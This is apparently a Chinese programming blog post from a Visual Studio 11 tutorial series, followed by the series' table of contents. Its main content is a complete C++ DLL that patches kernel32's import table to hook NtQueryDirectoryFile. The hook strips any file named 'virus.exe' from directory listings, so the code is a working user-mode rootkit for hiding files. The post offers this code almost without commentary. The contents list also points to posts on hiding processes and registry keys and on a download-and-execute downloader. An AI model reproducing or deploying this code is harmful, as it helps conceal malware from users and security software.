請見代碼分析,
~~~
#include <windows.h>
#include <WinNT.h>
//從ntddk中拿出來的一些結構體定義,在ZwQueryDirectoryFile()中要用到
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
//參數類型
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//字符串類型
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//枚舉類型,主要利用FileBothDirectoryInformation
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef VOID (NTAPI *PIO_APC_ROUTINE)(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;
typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
//原始ZwQueryDirectoryFile地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
//////////////////////////////////////////////////////////////////////////
//替換原有函數
//////////////////////////////////////////////////////////////////////////
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
//先調用原有函數
LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if (!NT_SUCCESS(rret))
{
return rret;
}
//只取了 FileBothDirectoryInformation這種可能性
if (FileInformationClass==FileBothDirectoryInformation)
{
PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
//測試的C:\\下的virus.exe的隱藏
WCHAR VIRUS[] = L"virus.exe";
BOOLEAN flag;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
pLastFileInfo = NULL;
do
{
flag = !( pFileInfo->NextEntryOffset );
//寬字符比較,暫用WCSSTR
if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
{
if(flag)
{
pLastFileInfo->NextEntryOffset = 0;
break;
}
else
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!flag);
}
return rret;
}
//////////////////////////////////////////////////////////////////////////
//Hook Function
//////////////////////////////////////////////////////////////////////////
BOOL HookQueryFile(BOOL flag)
{
//確定Kernel32.dll的基地址
HMODULE hModule = LoadLibrary("kernel32.dll");
if (hModule==NULL)
{
return FALSE;
}
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
{
return FALSE;
}
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
{
return FALSE;
}
if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL ||
pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
{
return FALSE;
}
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
PIMAGE_THUNK_DATA ThunkData;
while (ImportDescriptor->FirstThunk)
{
char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
//遍歷尋找Kernel32中加載的ntdll.dll
if (stricmp(szDll,"ntdll.dll")!=NULL)
{
ImportDescriptor++;
continue;
}
ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);
int num = 1;
while (ThunkData->u1.Function)
{
char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
{
PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
if (flag)
{
//Hook
ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);
}
else
{
//UnHook
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);
}
return TRUE;
}
num++;
ThunkData++;
}
ImportDescriptor++;
}
return FALSE;
}
BOOL APIENTRY DllMain( HANDLE hModule,DWORD dwReason,LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
//HOOK ZwQueryDirectroyFile
HookQueryFile(TRUE);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
//UnHook ZwQueryDirectoryFile
HookQueryFile(FALSE);
}
return TRUE;
}
~~~
- 前言
- Visual Studio 11開發指南(1) Visual Studio 11簡介與新特性
- Visual Studio 11開發指南(2) Visual Studio 11放棄宏處理
- Visual Studio 11開發指南(3)Visual Studio 11開發SharePoint 2011程序
- Visual Studio 11開發指南(4)Visual Studio 11編程語言發展
- Visual Studio 11開發指南(5)Visual Studio 11 IDE增強
- Visual Studio 11開發指南(6)Visual Studio 11平臺改進
- Visual Studio 11開發指南(7)NET 4.5的改善
- Visual Studio 11開發指南(8)Visual C++ 11新特色
- Visual Studio 11開發指南(9)Visual C++ 新功能體驗
- Visual Studio 11開發指南(10)Visual C++11 IDE 新功能體驗
- Visual Studio 11開發指南(11)Visual Studio 11調試游戲
- Visual Studio 11開發指南(12)Visual Studio 11可視化多核多線程編程的行為
- Visual Studio 11開發指南(13)C++11語言新特性
- Visual Studio 11開發指南(14)C++11---C++/ CX設計
- Visual Studio 11開發指南(15)C++11單元測試
- Visual Studio 11開發指南(16)C++11更新-多線程和異步操作管理
- Visual Studio 11開發指南(17)C++11更新- Lambda表達式
- Visual Studio 11開發指南(18)C++11更新-自動矢量器使用
- Visual Studio 11開發指南(19)C++11更新-并行模式庫和代理庫
- 在 C++ 中使用 PPL 進行異步編程
- 基于VisualStudio11開發Windows8的Metro sample講解(1)MessageBox
- Visual C++ 11 中新的并發功能
- 基于Windows8與Visual Studio2012開發內核隱藏注冊表
- 基于VC++2012在Windows8上實現文件隱藏
- 實現諾基亞 lumia Windows phone 的手機通話記錄截取
- 最短代碼實現windows8下的下載器-下載安裝執行一體化
- 用Visual studio2012在Windows8上開發內核驅動監視線程創建
- 用Visual studio2012在Windows8上開發內核驅動監視進程創建
- 基于Windows8與Visual Studio2012實現殺毒通用模塊
- 用Visual studio2012在Windows8上開發內核中隱藏進程
- 用Visual studio11在Windows8上開發內核枚舉注冊表
- 用Visual studio11在Windows8上開發內核驅動隱藏注冊表
- 用Visual studio11在Windows8上開發驅動實現注冊表監控和過濾
- 用Visual studio11在Windows8上開發驅動實現內存填0殺進程
- 【CSDN2012年度博客之星】喜歡本博客的讀者,投票贈送《visual C++2010開發權威指南》電子稿--感謝支持 ~(截至到2012年12月30日)
- 今天在清華圖書館看到我的杰作,感慨萬千,而我要歸零一切 !
- use Visual studio2012 developing kernel driver monitor thread creation on Windows8
- To kernel driver monitoring process developed in Windows8 create using Visual studio2012
- Under Windows8 kernel mode development NDIS application-NDIS Filter explain
- use Visual studio2012 development kernel to hidden process on Windows8